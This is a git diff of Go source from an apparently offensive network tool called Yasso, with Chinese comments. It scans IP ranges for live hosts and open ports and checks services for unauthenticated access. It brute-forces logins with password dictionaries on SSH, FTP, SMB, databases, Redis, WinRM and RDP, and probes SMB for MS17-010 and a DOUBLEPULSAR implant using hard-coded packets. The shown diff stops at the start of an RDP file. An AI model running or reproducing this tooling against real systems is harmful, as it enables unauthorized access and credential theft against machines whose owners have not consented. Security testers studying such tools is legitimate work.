port: port,
|
||||
noAlive: isAlive,
|
||||
noBrute: isBrute,
|
||||
userPath: user,
|
||||
passPath: pass,
|
||||
thread: thread,
|
||||
timeout: timeout,
|
||||
noService: noService,
|
||||
noVulcan: noVulcan,
|
||||
}
|
||||
}
|
||||
|
||||
// RunEnumeration 执行程序
|
||||
func (s *scannerAll) RunEnumeration() {
|
||||
banner.Banner()
|
||||
defer func() {
|
||||
logger.Info("Yasso scan complete")
|
||||
}()
|
||||
if s.ip == "" {
|
||||
logger.Fatal("need ips to parse")
|
||||
return
|
||||
}
|
||||
// 1. 解析用户的ip列表
|
||||
ips, err := parse.HandleIps(s.ip)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ips has an error", err.Error())
|
||||
return
|
||||
}
|
||||
// 2.解析用户的port列表
|
||||
var ports []int
|
||||
if s.port == "" {
|
||||
ports = config.DefaultScannerPort
|
||||
} else {
|
||||
ports, err = parse.HandlePorts(s.port)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ports has an error", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
var user []string
|
||||
var pass []string
|
||||
// 3.解析用户的字典,没有字典的话,就采用默认的字典
|
||||
if s.userPath != "" {
|
||||
user, err = parse.ReadFile(s.userPath)
|
||||
if err != nil {
|
||||
logger.Fatal("parse user dict file has an error")
|
||||
return
|
||||
}
|
||||
}
|
||||
if s.passPath != "" {
|
||||
pass, err = parse.ReadFile(s.passPath)
|
||||
if err != nil {
|
||||
logger.Fatal("parse user dict file has an error")
|
||||
return
|
||||
}
|
||||
return
|
||||
} else {
|
||||
pass = config.PassDict
|
||||
}
|
||||
|
||||
// 4. 解析完成后,通过isAlive判断存活,这里采用并发方式
|
||||
var wg sync.WaitGroup
|
||||
var mutex sync.Mutex
|
||||
var ipChannel = make(chan string, 1000)
|
||||
var port7 []int = []int{139, 445, 135, 22, 23, 21, 3389}
|
||||
var ipAlive []string
|
||||
if s.noAlive == false {
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func(ctx context.Context) {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
if ping(ip) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
|
||||
logger.JSONSave(ip, logger.HostSave) // json存储
|
||||
ipAlive = append(ipAlive, ip)
|
||||
} else {
|
||||
// 这里尝试探测7个常用端口,如果有一个开放,则证明ip也是存活网段
|
||||
for _, p := range port7 {
|
||||
if tcpConn(ip, p) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (tcp)", ip))
|
||||
logger.JSONSave(ip, logger.HostSave) // json存储
|
||||
ipAlive = append(ipAlive, ip)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}(context.Background())
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Contains(ip, ":") {
|
||||
ipAlive = append(ipAlive, ip)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
} else {
|
||||
ipAlive = ips
|
||||
}
|
||||
// 5.扫描完成后,做端口扫描,同样是高并发
|
||||
ipChannel = make(chan string, 1000) // 二次复用
|
||||
var portAlive = make(map[string][]int)
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 做端口扫描
|
||||
mutex.Lock()
|
||||
p := NewRunner(ports, ip, s.thread, tcpConn).RunEnumeration()
|
||||
portAlive[ip] = append(portAlive[ip], p...)
|
||||
logger.JSONSave(ip, logger.PortSave, p) // 存储可用端口
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 {
|
||||
t := strings.Split(ip, ":")
|
||||
p, err := strconv.Atoi(t[1])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
portAlive[t[0]] = append(portAlive[t[0]], p)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
// 6. 端口扫描结束,根据用户指示,判断是否进行爆破
|
||||
for k, v := range portAlive {
|
||||
// 遍历每一个ip的每一个端口看看属于哪一个服务
|
||||
v = parse.RemoveDuplicate(v) // 去个重
|
||||
sort.Ints(v) // 排序
|
||||
for _, p := range v {
|
||||
switch p {
|
||||
case 22:
|
||||
if s.noService == false {
|
||||
information := VersionSSH(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
})
|
||||
logger.JSONSave(k, logger.InformationSave, "ssh", information)
|
||||
}
|
||||
brute.NewBrute(user, pass, SshConnByUser, "ssh", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 21:
|
||||
// 未授权
|
||||
if ok, _ := FtpConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
continue
|
||||
}
|
||||
// 爆破ftp
|
||||
brute.NewBrute(user, pass, FtpConn, "ftp", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 445:
|
||||
// 未授权
|
||||
if ok, _ := SmbConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "administrator", ""); ok {
|
||||
logger.Info(fmt.Sprintf("smb %s unauthorized", k))
|
||||
// 未授权,用户名密码均为null
|
||||
logger.JSONSave(k, logger.WeakPassSave, "smb", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
brute.NewBrute(user, pass, SmbConn, "smb", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 1433:
|
||||
if s.noService == false {
|
||||
ok, information := VersionMssql(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
})
|
||||
// 存在ok
|
||||
if ok {
|
||||
logger.JSONSave(k, logger.InformationSave, "mssql", information)
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, MssqlConn, "mssql", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 2181:
|
||||
if s.noService == false {
|
||||
if ok, _ := ZookeeperConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
// 未授权
|
||||
logger.JSONSave(k, logger.WeakPassSave, "zookeeper", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 3306:
|
||||
// 未授权
|
||||
if _, ok, _ := MySQLConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.Info(fmt.Sprintf("mysql %s unauthorized", k))
|
||||
// 未授权,用户名密码均为null
|
||||
logger.JSONSave(k, logger.WeakPassSave, "mysql", map[string]string{"null": "null"})
|
||||
continue
|
||||
} else {
|
||||
brute.NewBrute(user, pass, MySQLConn, "mysql", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
}
|
||||
case 3389:
|
||||
// 仅探测主机版本
|
||||
if s.noService == false {
|
||||
if ok, information := VersionRdp(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
// 版本
|
||||
logger.JSONSave(k, logger.InformationSave, "rdp", information)
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 6379:
|
||||
if s.noService == false {
|
||||
if _, ok, _ := RedisUnAuthConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "redis", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, RedisAuthConn, "redis", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
|
||||
case 5432:
|
||||
brute.NewBrute(user, pass, PostgreConn, "postgres", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 5985:
|
||||
brute.NewBrute(user, pass, WinRMAuth, "winrm", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
case 11211:
|
||||
if s.noService == false {
|
||||
if ok, _ := MemcacheConn(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "memcache", map[string]string{"null": "null"})
|
||||
continue
|
||||
}
|
||||
}
|
||||
case 27017:
|
||||
if s.noService == false {
|
||||
if ok, _ := MongoUnAuth(config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, "", ""); ok {
|
||||
logger.JSONSave(k, logger.WeakPassSave, "mongodb", map[string]string{"null": "null"})
|
||||
break
|
||||
}
|
||||
}
|
||||
brute.NewBrute(user, pass, MongoAuth, "mongodb", config.ServiceConn{
|
||||
Hostname: k,
|
||||
Port: p,
|
||||
Timeout: s.timeout,
|
||||
}, s.thread, s.noBrute, "").RunEnumeration()
|
||||
default:
|
||||
if s.noService == false {
|
||||
webscan.DisMapConn(k, p, s.timeout)
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
if s.noService == false {
|
||||
// 8. 进行win服务扫描扫描
|
||||
ipChannel = make(chan string, 1000) // 第四次复用
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
mutex.Lock()
|
||||
func(ip string) {
|
||||
ok, information := NbnsScanConn(ip, 137, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "netbios", information)
|
||||
}
|
||||
}(ip)
|
||||
func(ip string) {
|
||||
ok, information := SmbScanConn(ip, 445, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "smb", information)
|
||||
}
|
||||
}(ip)
|
||||
func(ip string) {
|
||||
ok, information := OxidScanConn(ip, 135, s.timeout)
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.InformationSave, "oxid", information)
|
||||
}
|
||||
}(ip)
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 && (strings.Split(ip, ":")[0] != strconv.Itoa(139) || strings.Split(ip, ":")[0] != strconv.Itoa(135) || strings.Split(ip, ":")[0] != strconv.Itoa(445)) {
|
||||
continue
|
||||
} else if strings.Split(ip, ":")[0] == strconv.Itoa(139) || strings.Split(ip, ":")[0] == strconv.Itoa(135) || strings.Split(ip, ":")[0] == strconv.Itoa(445) {
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait() // 等待结束
|
||||
|
||||
}
|
||||
// 7. 进行主机漏洞扫描
|
||||
if s.noVulcan == false {
|
||||
ipChannel = make(chan string, 1000) // 第四次复用
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 做端口扫描
|
||||
mutex.Lock()
|
||||
func() {
|
||||
ok := Ms17010Conn(config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: 445,
|
||||
Domain: "",
|
||||
Timeout: s.timeout,
|
||||
PublicKey: "",
|
||||
})
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.VulnerabilitySave, "MS17010")
|
||||
}
|
||||
}()
|
||||
func() {
|
||||
ok := SmbGhostConn(config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: 445,
|
||||
Domain: "",
|
||||
Timeout: s.timeout,
|
||||
PublicKey: "",
|
||||
})
|
||||
if ok {
|
||||
logger.JSONSave(ip, logger.VulnerabilitySave, "CVE-2020-0796")
|
||||
}
|
||||
}()
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ipAlive {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Count(ip, ":") == 1 && strings.Split(ip, ":")[0] != strconv.Itoa(445) {
|
||||
continue
|
||||
} else if strings.Split(ip, ":")[0] == strconv.Itoa(445) {
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait() // 等待结束
|
||||
}
|
||||
logger.LoggerSave()
|
||||
}
|
||||
278
core/plugin/brute.go
Normal file
278
core/plugin/brute.go
Normal file
@@ -0,0 +1,278 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/config/banner"
|
||||
"Yasso/core/brute"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/parse"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var BurpMap = map[string]interface{}{
|
||||
"ssh": SshConnByUser,
|
||||
"mongodb": MongoAuth,
|
||||
"mysql": MySQLConn,
|
||||
"mssql": MssqlConn,
|
||||
"rdp": RdpConn,
|
||||
"redis": RedisAuthConn,
|
||||
"ftp": FtpConn,
|
||||
"smb": SmbConn,
|
||||
"winrm": WinRMAuth,
|
||||
"postgres": PostgreConn,
|
||||
}
|
||||
|
||||
func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) {
|
||||
banner.Banner()
|
||||
defer func() {
|
||||
logger.Info("brute service complete")
|
||||
}()
|
||||
// 先解析传过来的ips列表
|
||||
if ipd == "" {
|
||||
logger.Fatal("need ips to parse")
|
||||
return
|
||||
}
|
||||
ips, err := parse.HandleIps(ipd)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var userDic, passDic []string
|
||||
if user != "" {
|
||||
userDic, err = parse.ReadFile(user)
|
||||
}
|
||||
if pass != "" {
|
||||
passDic, err = parse.ReadFile(pass)
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("dic file is not found")
|
||||
return
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var ipChannel = make(chan string, 1000)
|
||||
var ipAlive []string
|
||||
if isAlive == true {
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
if ping(ip) == true {
|
||||
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
|
||||
ipAlive = append(ipAlive, ip)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接加入
|
||||
if strings.Contains(ip, ":") {
|
||||
ipAlive = append(ipAlive, ip)
|
||||
continue
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
} else {
|
||||
ipAlive = ips
|
||||
}
|
||||
|
||||
logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ",")))
|
||||
// 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445
|
||||
for _, each := range strings.Split(module, ",") { // 遍历每一个服务
|
||||
// 这里获取到对应的服务和端口
|
||||
service := strings.Split(each, ":")
|
||||
if len(service) >= 3 || len(service) <= 0 {
|
||||
logger.Fatal("brute service format is error")
|
||||
break
|
||||
}
|
||||
switch service[0] {
|
||||
case "ssh":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 22
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"])
|
||||
case "mongo":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 27017
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"])
|
||||
case "mysql":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 3306
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"])
|
||||
case "rdp":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 3389
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"])
|
||||
case "redis":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 6379
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"])
|
||||
case "smb":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 445
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"])
|
||||
case "winrm":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 5985
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"])
|
||||
case "postgres":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 5432
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"])
|
||||
case "mssql":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 1433
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"])
|
||||
case "ftp":
|
||||
var p int
|
||||
if len(service) == 2 {
|
||||
// 带端口,采用用户自带端口
|
||||
p, err = strconv.Atoi(service[1])
|
||||
} else {
|
||||
// 不带端口,采用默认
|
||||
p = 21
|
||||
}
|
||||
if err != nil {
|
||||
logger.Fatal("port number useless")
|
||||
break
|
||||
}
|
||||
run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"])
|
||||
default:
|
||||
logger.Fatal(fmt.Sprintf("not found service %s", service[0]))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// 执行爆破的函数
|
||||
func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) {
|
||||
var ipChannel = make(chan string, 1000) // 二次复用
|
||||
var mutex sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for ip := range ipChannel {
|
||||
// 这里获取到每一个ip
|
||||
mutex.Lock()
|
||||
brute.NewBrute(user, pass, method, service, config.ServiceConn{
|
||||
Hostname: ip,
|
||||
Port: port,
|
||||
Timeout: time.Duration(timeout),
|
||||
}, thread, false, "").RunEnumeration()
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, ip := range ips {
|
||||
// 带有端口的不进行扫描,直接直接跳过
|
||||
if strings.Count(ip, ":") == 1 {
|
||||
if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同
|
||||
ipChannel <- strings.Split(ip, ":")[0]
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
ipChannel <- ip
|
||||
}
|
||||
}
|
||||
close(ipChannel) // 防止死锁
|
||||
wg.Wait()
|
||||
}
|
||||
140
core/plugin/eternalblue.go
Normal file
140
core/plugin/eternalblue.go
Normal file
@@ -0,0 +1,140 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
//TODO:MS17010
|
||||
|
||||
var (
|
||||
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
|
||||
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
|
||||
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
|
||||
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func Ms17010Conn(info config.ServiceConn) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
status, err := RequestMs17010(conn, info.Hostname)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if status == true {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RequestMs17010(conn net.Conn, ip string) (bool, error) {
|
||||
defer conn.Close()
|
||||
err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return false, err
|
||||
}
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return false, err
|
||||
}
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
return false, fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
logger.Fatal("invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return false, err
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
conn.Write(transNamedPipeRequest)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os))
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
conn.Write(trans2SessionSetupRequest)
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||
}
|
||||
return true, nil
|
||||
} else {
|
||||
fmt.Printf("%s\t \t(%s)\n", ip, os)
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
27
core/plugin/ftp.go
Normal file
27
core/plugin/ftp.go
Normal file
@@ -0,0 +1,27 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
|
||||
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c))
|
||||
if err == nil {
|
||||
err = conn.Login(user, pass)
|
||||
if err == nil {
|
||||
if pass == "" {
|
||||
logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
|
||||
}
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
78
core/plugin/grdp.go
Normal file
78
core/plugin/grdp.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
